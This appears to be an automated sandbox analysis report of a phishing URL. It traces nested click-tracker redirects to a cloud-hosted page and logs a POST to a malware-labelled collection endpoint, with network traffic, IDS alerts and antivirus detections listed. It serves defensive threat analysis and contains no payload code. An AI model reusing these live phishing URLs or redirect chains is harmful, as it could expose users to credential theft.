Edit tour

Windows Analysis Report
https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%2

Overview

General Information

Sample URL:	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252
Analysis ID:	1577052
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

HTML body with high number of embedded images detected

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 988 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1940,i,2132055316792675880,14867391708354348960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6580 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Suricata Signatures

ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:24:53.250202+0100	2047978	2	Possible Social Engineering Attempted	192.168.2.16	49739	104.21.57.143	443	TCP
2024-12-17T22:24:56.125433+0100	2047978	2	Possible Social Engineering Attempted	192.168.2.16	49742	104.21.57.143	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://glp6srokudo.tkllop.online/obufsssssssscaaatoion/	Avira URL Cloud: Label: malware
Source: https://glp6srokudo.tkllop.online/redirect_to_gmail/	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.1.i.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.de... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain redirects. While some contextual factors, such as the use of a base64-encoded image, may suggest legitimate functionality, the overall behavior of the script is highly suspicious and warrants further investigation.

Source: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html

HTTP Parser: Total embedded image size: 47808

Source: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html

HTTP Parser: No favicon

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: click.pstmrk.it to https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html

Source: Network traffic	Suricata IDS: 2047978 - Severity 2 - ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1 : 192.168.2.16:49739 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047978 - Severity 2 - ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1 : 192.168.2.16:49742 -> 104.21.57.143:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2 HTTP/1.1Host: click.pstmrk.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%25252Findex.html%252F1FPh%252FkO25AQ%252FAQ%252F3e065842-509e-4fd5-abbb-5283a8ac4086%252F1%252FRkloQ4shWG%2F1FPh%2Fk_25AQ%2FAQ%2Fdde43c95-583c-418a-adc0-08f493a126f6%2F1%2FJb7OErMoyM/1FPh/k_25AQ/AQ/b4b83026-0c0f-44d4-9e59-6245afb2c831/1/0MDiG0XvGK HTTP/1.1Host: click.pstmrk.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3s/click.pstmrk.it%2F3s%2Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%252Findex.html%2F1FPh%2FkO25AQ%2FAQ%2F3e065842-509e-4fd5-abbb-5283a8ac4086%2F1%2FRkloQ4shWG/1FPh/k_25AQ/AQ/dde43c95-583c-418a-adc0-08f493a126f6/1/Jb7OErMoyM HTTP/1.1Host: click.pstmrk.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3s/pub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2Findex.html/1FPh/kO25AQ/AQ/3e065842-509e-4fd5-abbb-5283a8ac4086/1/RkloQ4shWG HTTP/1.1Host: click.pstmrk.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-c51a5b71098c4a50b29ad0816d037292.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-c51a5b71098c4a50b29ad0816d037292.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.9.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.9.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_bcCRMtnyFYaRD40jABwNjeVl3-_AgIn HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /obufsssssssscaaatoion/ HTTP/1.1Host: glp6srokudo.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_bcCRMtnyFYaRD40jABwNjeVl3-_AgIn HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /obufsssssssscaaatoion/ HTTP/1.1Host: glp6srokudo.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: click.pstmrk.it
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: pub-c51a5b71098c4a50b29ad0816d037292.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: freeipapi.com
Source: global traffic	DNS traffic detected: DNS query: glp6srokudo.tkllop.online
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: google.com

Source: unknown

HTTP traffic detected: POST /obufsssssssscaaatoion/ HTTP/1.1Host: glp6srokudo.tkllop.onlineConnection: keep-aliveContent-Length: 119sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 21:23:32 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 8f39f98f6bcf330c-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 17 Dec 2024 21:24:57 GMTStrict-Transport-Security: max-age=31536000Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-ja75jNIFXEekiTlM1Iy8xw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Accept-Ranges: noneVary: Accept-EncodingConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 17 Dec 2024 21:25:00 GMTStrict-Transport-Security: max-age=31536000Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-fxRPZ7Qy7poP1GX0eeF6ZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Accept-Ranges: noneVary: Accept-EncodingConnection: closeTransfer-Encoding: chunked

Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12282#comment:15
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12359
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://dev.w3.org/csswg/cssom/#resolved-values
